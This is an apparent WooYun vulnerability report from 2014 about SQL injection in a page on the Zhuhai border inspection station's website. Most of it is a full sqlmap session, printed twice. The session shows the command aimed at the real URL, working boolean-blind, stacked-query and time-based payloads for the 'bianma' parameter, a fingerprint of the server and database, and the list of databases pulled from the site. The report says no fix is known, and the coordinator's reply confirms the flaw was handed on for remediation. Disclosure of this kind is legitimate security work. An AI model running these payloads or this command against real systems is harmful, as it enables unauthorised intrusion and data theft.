当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086999

漏洞标题:珠海出入境边防检查总站SQL注入漏洞泄露大量资料

相关厂商:cert国家互联网应急安全中心

漏洞作者: 泳少

提交时间:2014-12-15 11:36

修复时间:2015-01-29 11:38

公开时间:2015-01-29 11:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-15: 细节已通知厂商并且等待厂商处理中
2014-12-18: 厂商已经确认,细节仅向厂商公开
2014-12-28: 细节向核心白帽子及相关领域专家公开
2015-01-07: 细节向普通白帽子公开
2015-01-17: 细节向实习白帽子公开
2015-01-29: 细节向公众公开

简要描述:

珠海出入境边防检查总站SQL注入漏洞泄露大量资料

详细说明:

[root@Hacker~]# Sqlmap sqlmap -u http://www.zhbj.gov.cn/zixunlook.aspx?bianma=05
0633211884 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:07:41
[10:07:41] [INFO] testing connection to the target url
[10:07:41] [INFO] testing if the url is stable, wait a few seconds
[10:07:42] [INFO] url is stable
[10:07:42] [INFO] testing if GET parameter 'bianma' is dynamic
[10:07:43] [INFO] confirming that GET parameter 'bianma' is dynamic
[10:07:43] [INFO] GET parameter 'bianma' is dynamic
[10:07:43] [WARNING] reflective value(s) found and filtering out
[10:07:43] [INFO] heuristic test shows that GET parameter 'bianma' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[10:07:43] [INFO] testing for SQL injection on GET parameter 'bianma'
[10:07:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:07:46] [INFO] GET parameter 'bianma' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[10:18:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[10:18:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:19:20] [INFO] GET parameter 'bianma' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[10:19:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:19:42] [INFO] GET parameter 'bianma' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[10:19:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:19:42] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[10:19:44] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[10:19:46] [INFO] target url appears to have 14 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n] y
[10:21:00] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
GET parameter 'bianma' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 77 HTTP(s) requ
ests:
---
Place: GET
Parameter: bianma
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bianma=050633211884' AND 1800=1800 AND 'YoAo'='YoAo
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: bianma=050633211884'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: bianma=050633211884' WAITFOR DELAY '0:0:5'--
---
[10:21:03] [INFO] testing Microsoft SQL Server
[10:21:03] [INFO] confirming Microsoft SQL Server
[10:21:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[10:21:04] [INFO] fetching database names
[10:21:04] [INFO] fetching number of databases
[10:21:04] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:21:04] [INFO] retrieved:
[10:21:05] [INFO] retrieved:
[10:21:05] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[10:21:05] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[10:21:05] [ERROR] unable to retrieve the number of databases
[10:21:05] [INFO] retrieved: zhbjgov
[10:21:23] [INFO] retrieved: master
[10:21:41] [INFO] retrieved: tempdb
[10:22:00] [INFO] retrieved: model
[10:22:20] [INFO] retrieved: msdb
[10:22:41] [INFO] retrieved: pubs
[10:23:00] [INFO] retrieved: Northwind
[10:23:21] [INFO] retrieved: zhbj
[10:23:33] [INFO] retrieved: GlobalGreenTechDB
[10:24:14] [INFO] retrieved: ttzl
[10:24:26] [INFO] retrieved: bjdata
[10:24:43] [INFO] retrieved: zhbjgov
[10:25:01] [INFO] retrieved: bjbjbj
[10:25:18] [INFO] retrieved:
available databases [13]:
[*] bjbjbj
[*] bjdata
[*] GlobalGreenTechDB
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] ttzl
[*] zhbj
[*] zhbjgov
[10:25:23] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 65 times
[10:25:23] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:25:23] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.zhbj.gov.cn'
[*] shutting down at 10:25:23
[root@Hacker~]# Sqlmap

漏洞证明:

[root@Hacker~]# Sqlmap sqlmap -u http://www.zhbj.gov.cn/zixunlook.aspx?bianma=05
0633211884 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:07:41
[10:07:41] [INFO] testing connection to the target url
[10:07:41] [INFO] testing if the url is stable, wait a few seconds
[10:07:42] [INFO] url is stable
[10:07:42] [INFO] testing if GET parameter 'bianma' is dynamic
[10:07:43] [INFO] confirming that GET parameter 'bianma' is dynamic
[10:07:43] [INFO] GET parameter 'bianma' is dynamic
[10:07:43] [WARNING] reflective value(s) found and filtering out
[10:07:43] [INFO] heuristic test shows that GET parameter 'bianma' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[10:07:43] [INFO] testing for SQL injection on GET parameter 'bianma'
[10:07:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:07:46] [INFO] GET parameter 'bianma' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[10:18:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[10:18:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:19:20] [INFO] GET parameter 'bianma' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[10:19:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:19:42] [INFO] GET parameter 'bianma' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[10:19:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:19:42] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[10:19:44] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[10:19:46] [INFO] target url appears to have 14 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n] y
[10:21:00] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
GET parameter 'bianma' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 77 HTTP(s) requ
ests:
---
Place: GET
Parameter: bianma
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bianma=050633211884' AND 1800=1800 AND 'YoAo'='YoAo
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: bianma=050633211884'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: bianma=050633211884' WAITFOR DELAY '0:0:5'--
---
[10:21:03] [INFO] testing Microsoft SQL Server
[10:21:03] [INFO] confirming Microsoft SQL Server
[10:21:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[10:21:04] [INFO] fetching database names
[10:21:04] [INFO] fetching number of databases
[10:21:04] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:21:04] [INFO] retrieved:
[10:21:05] [INFO] retrieved:
[10:21:05] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[10:21:05] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[10:21:05] [ERROR] unable to retrieve the number of databases
[10:21:05] [INFO] retrieved: zhbjgov
[10:21:23] [INFO] retrieved: master
[10:21:41] [INFO] retrieved: tempdb
[10:22:00] [INFO] retrieved: model
[10:22:20] [INFO] retrieved: msdb
[10:22:41] [INFO] retrieved: pubs
[10:23:00] [INFO] retrieved: Northwind
[10:23:21] [INFO] retrieved: zhbj
[10:23:33] [INFO] retrieved: GlobalGreenTechDB
[10:24:14] [INFO] retrieved: ttzl
[10:24:26] [INFO] retrieved: bjdata
[10:24:43] [INFO] retrieved: zhbjgov
[10:25:01] [INFO] retrieved: bjbjbj
[10:25:18] [INFO] retrieved:
available databases [13]:
[*] bjbjbj
[*] bjdata
[*] GlobalGreenTechDB
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] ttzl
[*] zhbj
[*] zhbjgov
[10:25:23] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 65 times
[10:25:23] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:25:23] [INFO] fetched data logged to text files under 'D:\??\???~1\tools\???
?\SQLMAP~3\Bin\output\www.zhbj.gov.cn'
[*] shutting down at 10:25:23
[root@Hacker~]# Sqlmap

修复方案:

不知道

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-12-18 20:27

厂商回复:


CNVD确认并复现所述情况,已经转由CNCERT下发给广东分中心,由其后续协调网站管理单位处置

最新状态:

暂无